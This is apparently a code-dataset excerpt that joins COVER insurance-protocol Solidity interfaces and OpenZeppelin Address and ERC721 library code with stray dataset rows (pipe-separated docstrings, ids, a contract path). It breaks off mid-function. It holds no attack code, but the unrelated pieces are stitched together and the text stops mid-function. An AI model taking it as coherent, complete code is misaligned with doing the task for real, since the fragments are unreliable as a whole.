function collateralStatusMap(address _collateral) external view returns (uint256 _mintRatio, Status _status);
function expiryInfoMap(uint48 _expiry) external view returns (string memory _name, Status _status);
function coverMap(address _collateral, uint48 _expiry) external view returns (address);
// extra view
function getRiskList() external view returns (bytes32[] memory _riskList);
function getClaimDetails(uint256 _claimNonce) external view returns (ClaimDetails memory);
function getCoverPoolDetails()
external view returns (
address[] memory _collaterals,
uint48[] memory _expiries,
bytes32[] memory _riskList,
bytes32[] memory _deletedRiskList,
address[] memory _allCovers
);
// user action
/// @notice cover must be deployed first
function addCover(
address _collateral,
uint48 _expiry,
address _receiver,
uint256 _colAmountIn,
uint256 _amountOut,
bytes calldata _data
) external;
function deployCover(address _collateral, uint48 _expiry) external returns (address _coverAddress);
// access restriction - claimManager
function enactClaim(
bytes32[] calldata _payoutRiskList,
uint256[] calldata _payoutRates,
uint48 _incidentTimestamp,
uint256 _coverPoolNonce
) external;
// CM and dev only
function setNoclaimRedeemDelay(uint256 _noclaimRedeemDelay) external;
// access restriction - dev
function addRisk(string calldata _risk) external returns (bool);
function deleteRisk(string calldata _risk) external;
function setExpiry(uint48 _expiry, string calldata _expiryName, Status _status) external;
function setCollateral(address _collateral, uint256 _mintRatio, Status _status) external;
function setPoolStatus(Status _poolStatus) external;
}
// SPDX-License-Identifier: No License
pragma solidity ^0.8.0;
/**
* @dev CoverPoolFactory contract interface. See {CoverPoolFactory}.
* @author crypto-pumpkin
*/
interface ICoverPoolFactory {
event CoverPoolCreated(address indexed _addr);
event IntUpdated(string _type, uint256 _old, uint256 _new);
event AddressUpdated(string _type, address indexed _old, address indexed _new);
event PausedStatusUpdated(bool _old, bool _new);
// state vars
function MAX_REDEEM_DELAY() external view returns (uint256);
function defaultRedeemDelay() external view returns (uint256);
// yearlyFeeRate is scaled 1e18
function yearlyFeeRate() external view returns (uint256);
function paused() external view returns (bool);
function responder() external view returns (address);
function coverPoolImpl() external view returns (address);
function coverImpl() external view returns (address);
function coverERC20Impl() external view returns (address);
function treasury() external view returns (address);
function claimManager() external view returns (address);
/// @notice min gas left requirement before continue deployments (when creating new Cover or adding risks to CoverPool)
function deployGasMin() external view returns (uint256);
function coverPoolNames(uint256 _index) external view returns (string memory);
function coverPools(string calldata _coverPoolName) external view returns (address);
// extra view
function getCoverPools() external view returns (address[] memory);
/// @notice return contract address, the contract may not be deployed yet
function getCoverPoolAddress(string calldata _name) external view returns (address);
function getCoverAddress(string calldata _coverPoolName, uint48 _timestamp, address _collateral, uint256 _claimNonce) external view returns (address);
/// @notice _prefix example: "C_CURVE", "C_FUT1", or "NC_"
function getCovTokenAddress(string calldata _coverPoolName, uint48 _expiry, address _collateral, uint256 _claimNonce, string memory _prefix) external view returns (address);
// access restriction - owner (dev) & responder
function setPaused(bool _paused) external;
// access restriction - owner (dev)
function setYearlyFeeRate(uint256 _yearlyFeeRate) external;
function setDefaultRedeemDelay(uint256 _defaultRedeemDelay) external;
function setResponder(address _responder) external;
function setDeployGasMin(uint256 _deployGasMin) external;
/// @dev update Impl will only affect contracts deployed after
function setCoverPoolImpl(address _newImpl) external;
function setCoverImpl(address _newImpl) external;
function setCoverERC20Impl(address _newImpl) external;
function setTreasury(address _address) external;
function setClaimManager(address _address) external;
/**
* @notice Create a new Cover Pool
* @param _name name for pool, e.g. Yearn
* @param _extendablePool open pools allow adding new risk
* @param _riskList risk risks that are covered in this pool
* @param _collateral the collateral of the pool
* @param _mintRatio 18 decimals, in (0, + infinity) the deposit ratio for the collateral the pool, 1.5 means = 1 collateral mints 1.5 CLAIM/NOCLAIM tokens
* @param _expiry expiration date supported for the pool
* @param _expiryString MONTH_DATE_YEAR, used to create covToken symbols only
*
* Emits CoverPoolCreated, add a supported coverPool in COVER
*/
function createCoverPool(
string calldata _name,
bool _extendablePool,
string[] calldata _riskList,
address _collateral,
uint256 _mintRatio,
uint48 _expiry,
string calldata _expiryString
) external returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev ClaimManagement contract interface. See {ClaimManagement}.
* @author Alan + crypto-pumpkin
*/
interface IClaimManagement {
event ClaimUpdate(address indexed coverPool, ClaimState state, uint256 nonce, uint256 index);
enum ClaimState { Filed, ForceFiled, Validated, Invalidated, Accepted, Denied }
struct Claim {
address filedBy; // Address of user who filed claim
address decidedBy; // Address of the CVC who decided claim
uint48 filedTimestamp; // Timestamp of submitted claim
uint48 incidentTimestamp; // Timestamp of the incident the claim is filed for
uint48 decidedTimestamp; // Timestamp when claim outcome is decided
string description;
ClaimState state; // Current state of claim
uint256 feePaid; // Fee paid to file the claim
bytes32[] payoutRiskList;
uint256[] payoutRates; // Numerators of percent to payout
}
function getCoverPoolClaims(address _coverPool, uint256 _nonce, uint256 _index) external view returns (Claim memory);
function getAllClaimsByState(address _coverPool, uint256 _nonce, ClaimState _state) external view returns (Claim[] memory);
function getAllClaimsByNonce(address _coverPool, uint256 _nonce) external view returns (Claim[] memory);
function hasPendingClaim(address _coverPool, uint256 _nonce) external view returns (bool);
function fileClaim(
string calldata _coverPoolName,
bytes32[] calldata _exploitRisks,
uint48 _incidentTimestamp,
string calldata _description,
bool _isForceFile
) external;
// @dev Only callable by dev when auditor is voting
function validateClaim(address _coverPool, uint256 _nonce, uint256 _index, bool _claimIsValid) external;
// @dev Only callable by CVC
function decideClaim(
address _coverPool,
uint256 _nonce,
uint256 _index,
uint48 _incidentTimestamp,
bool _claimIsAccepted,
bytes32[] calldata _exploitRisks,
uint256[] calldata _payoutRates
) external;
}
// SPDX-License-Identifier: No License
pragma solidity ^0.8.0;
/**
* @title Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: No License
pragma solidity ^0.8.0;
import "../interfaces/IOwnable.sol";
import "./Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
* @author crypto-pumpkin
*
* By initialization, the owner account will be the one that called initializeOwner. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev COVER: Initializes the contract setting the deployer as the initial owner.
*/
function initializeOwner() internal initializer {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20/IERC20.sol";
import "./ICoverPoolFactory.sol";
/**
* @dev ClaimConfg contract interface. See {ClaimConfig}.
* @author Alan + crypto-pumpkin
*/
interface IClaimConfig {
function treasury() external view returns (address);
function coverPoolFactory() external view returns (ICoverPoolFactory);
function defaultCVC() external view returns (address);
function maxClaimDecisionWindow() external view returns (uint256);
function baseClaimFee() external view returns (uint256);
function forceClaimFee() external view returns (uint256);
function feeMultiplier() external view returns (uint256);
function feeCurrency() external view returns (IERC20);
function cvcMap(address _coverPool, uint256 _idx) external view returns (address);
function getCVCList(address _coverPool) external returns (address[] memory);
function isCVCMember(address _coverPool, address _address) external view returns (bool);
function getCoverPoolClaimFee(address _coverPool) external view returns (uint256);
// @notice only dev
function setMaxClaimDecisionWindow(uint256 _newTimeWindow) external;
function setTreasury(address _treasury) external;
function addCVCForPools(address[] calldata _coverPools, address[] calldata _cvcs) external;
function removeCVCForPools(address[] calldata _coverPools, address[] calldata _cvcs) external;
function setDefaultCVC(address _cvc) external;
function setFeeAndCurrency(uint256 _baseClaimFee, uint256 _forceClaimFee, address _currency) external;
function setFeeMultiplier(uint256 _multiplier) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Interface of Ownable
*/
interface IOwnable {
function owner() external view returns (address);
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
|
@notice Add CVC groups for multiple coverPools
|
function addCVCForPools(address[] calldata _coverPools, address[] calldata _cvcs) external override onlyOwner {
require(_coverPools.length == _cvcs.length, "CC: lengths don't match");
for (uint256 i = 0; i < _coverPools.length; i++) {
_addCVCForPool(_coverPools[i], _cvcs[i]);
}
}
| 11,690,137
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./full_match/1/0x7c28387D8eF791daB0F2C4E18440a11672B45E6a/sources/deploy/Contract.sol
|
* @dev Returns the name of the token./
|
function name() public view virtual override returns (string memory) {
return deer;
}
| 3,168,029
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// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
